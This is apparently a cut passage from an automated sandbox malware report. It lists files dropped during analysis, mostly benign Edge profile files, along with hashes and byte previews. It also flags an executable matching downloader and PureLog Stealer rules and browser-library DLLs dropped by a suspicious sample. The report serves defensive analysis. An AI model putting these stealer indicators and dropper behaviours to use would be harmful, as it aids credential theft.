Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-6762DA4A-1C30.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04670866265302247
Encrypted:	false
SSDEEP:	384:DPsX0ctdMKkgk9hZKYeMAB/V08T2RGOD:DkXTtd/idaB/ERGO
MD5:	6DE7327425B24E876623B77B2577100C
SHA1:	FD279922AAD813F75AA5D124B5D6BBF38A097A23
SHA-256:	76FF73E3D3B66CE9A8FFB93EDFFC864A745FE629E495F545F34D903C392B91D2
SHA-512:	4EEB9768E3B35A3DCF437621E3D3692647541989675717D9CAAF9DCAECE7D9CA360B82BA960A497FF77FC6019A914311610CFF9E635B97B84EA932BA7BA758A4
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".becvta20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2..........I...... .`2......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772666621009
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Ftbz8hu3VlXr4CRo1
MD5:	C9FDB3BA9D85D97E4702EB7A5B466953
SHA1:	9F295413ED14D44E66EE6CA492273D98A25DC012
SHA-256:	57F56E970EB78F24ED3EC8F696F1003FEC6BEFA3BD8634DE6937A7575C91247B
SHA-512:	77F69B995B0DF9BB64E7DE585BA4F81CF338D04DF74A10F1C9026BC79B7614AF00894D763A7838C1DAD8B565A6253DF3485C293E517740C5A1EDB11505E3B847
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37ea7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772666621009
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Ftbz8hu3VlXr4CRo1
MD5:	C9FDB3BA9D85D97E4702EB7A5B466953
SHA1:	9F295413ED14D44E66EE6CA492273D98A25DC012
SHA-256:	57F56E970EB78F24ED3EC8F696F1003FEC6BEFA3BD8634DE6937A7575C91247B
SHA-512:	77F69B995B0DF9BB64E7DE585BA4F81CF338D04DF74A10F1C9026BC79B7614AF00894D763A7838C1DAD8B565A6253DF3485C293E517740C5A1EDB11505E3B847
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF37eb6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772666621009
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Ftbz8hu3VlXr4CRo1
MD5:	C9FDB3BA9D85D97E4702EB7A5B466953
SHA1:	9F295413ED14D44E66EE6CA492273D98A25DC012
SHA-256:	57F56E970EB78F24ED3EC8F696F1003FEC6BEFA3BD8634DE6937A7575C91247B
SHA-512:	77F69B995B0DF9BB64E7DE585BA4F81CF338D04DF74A10F1C9026BC79B7614AF00894D763A7838C1DAD8B565A6253DF3485C293E517740C5A1EDB11505E3B847
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38abd.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772666621009
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Ftbz8hu3VlXr4CRo1
MD5:	C9FDB3BA9D85D97E4702EB7A5B466953
SHA1:	9F295413ED14D44E66EE6CA492273D98A25DC012
SHA-256:	57F56E970EB78F24ED3EC8F696F1003FEC6BEFA3BD8634DE6937A7575C91247B
SHA-512:	77F69B995B0DF9BB64E7DE585BA4F81CF338D04DF74A10F1C9026BC79B7614AF00894D763A7838C1DAD8B565A6253DF3485C293E517740C5A1EDB11505E3B847
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF38acc.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772666621009
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Ftbz8hu3VlXr4CRo1
MD5:	C9FDB3BA9D85D97E4702EB7A5B466953
SHA1:	9F295413ED14D44E66EE6CA492273D98A25DC012
SHA-256:	57F56E970EB78F24ED3EC8F696F1003FEC6BEFA3BD8634DE6937A7575C91247B
SHA-512:	77F69B995B0DF9BB64E7DE585BA4F81CF338D04DF74A10F1C9026BC79B7614AF00894D763A7838C1DAD8B565A6253DF3485C293E517740C5A1EDB11505E3B847
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cd98394f-7fae-4091-88b4-3869aeac3385.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090772666621009
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMQwuF9hDO6vP6O+Etbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEy6Ftbz8hu3VlXr4CRo1
MD5:	C9FDB3BA9D85D97E4702EB7A5B466953
SHA1:	9F295413ED14D44E66EE6CA492273D98A25DC012
SHA-256:	57F56E970EB78F24ED3EC8F696F1003FEC6BEFA3BD8634DE6937A7575C91247B
SHA-512:	77F69B995B0DF9BB64E7DE585BA4F81CF338D04DF74A10F1C9026BC79B7614AF00894D763A7838C1DAD8B565A6253DF3485C293E517740C5A1EDB11505E3B847
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\fb9f2729-dc5c-4396-b490-b85aefaf18de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44608
Entropy (8bit):	6.09610635447593
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBIwuehDO6vP6OOhz5pjjQzuu7cGoup1Xl3jVzXr4z:z/Ps+wsI7ynEa6uhz5pEchu3VlXr4CRg
MD5:	CF70DE4CC2673DC2669BE9E74201BDE1
SHA1:	980EAB10CBA08645E8EE11EF7A468A5F718DAC36
SHA-256:	1E2817ED8D25CEAD687AB8A907C8B694AF35C4DE92F76ED1088F2C4839EF2D9C
SHA-512:	A69A8B018DE0E9F60011ED8C60A7E77703DEE69DB6E05006A5194EFB74CFFB05A061CCACB6736AF214ED41C2D88A601779B6BFA573C24956744F979498099DA6
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3286016
Entropy (8bit):	7.310046848182974
Encrypted:	false
SSDEEP:	49152:yla31k0wuMKWrJSYQTdfjfkn46z2jnVGd7jyy7qaJJR0BmXSyYO3:yla3/tS4K2jnVGRjHLJfV
MD5:	C00A67D527EF38DC6F49D0AD7F13B393
SHA1:	7B8F2DE130AB5E4E59C3C2F4A071BDA831AC219D
SHA-256:	12226CCAE8C807641241BA5178D853AAD38984EEFB0C0C4D65ABC4DA3F9787C3
SHA-512:	9286D267B167CBA01E55E68C8C5582F903BED0DD8BC4135EB528EF6814E60E7D4DDA2B3611E13EFB56AA993635FBAB218B0885DAF5DAEA6043061D8384AF40CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\Cq6Id6x[1].exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....V...............P.../..Z......../.. ....0...@.. ........................2...........@.................................../.K.....0.@W...................`2.....3./.............................................. ............... ..H............text...../.. ..../................. ..`.rsrc...@W....0..X..../.............@..@.reloc.......`2......"2.............@..B................../.....H...........@.......C...@...z..........................................6+.(B.99(......:+.(.^A.(!............(..........................(.....0..........(...8y.......E....c...O.../...8^...s......... .....:....&8....s.........8....s......... .....9....& ....8....s......... ....8....s.........8.......0..............0..............0..............0..............0............................0..............0.....................0.................*...".......

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\random.exe.7.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
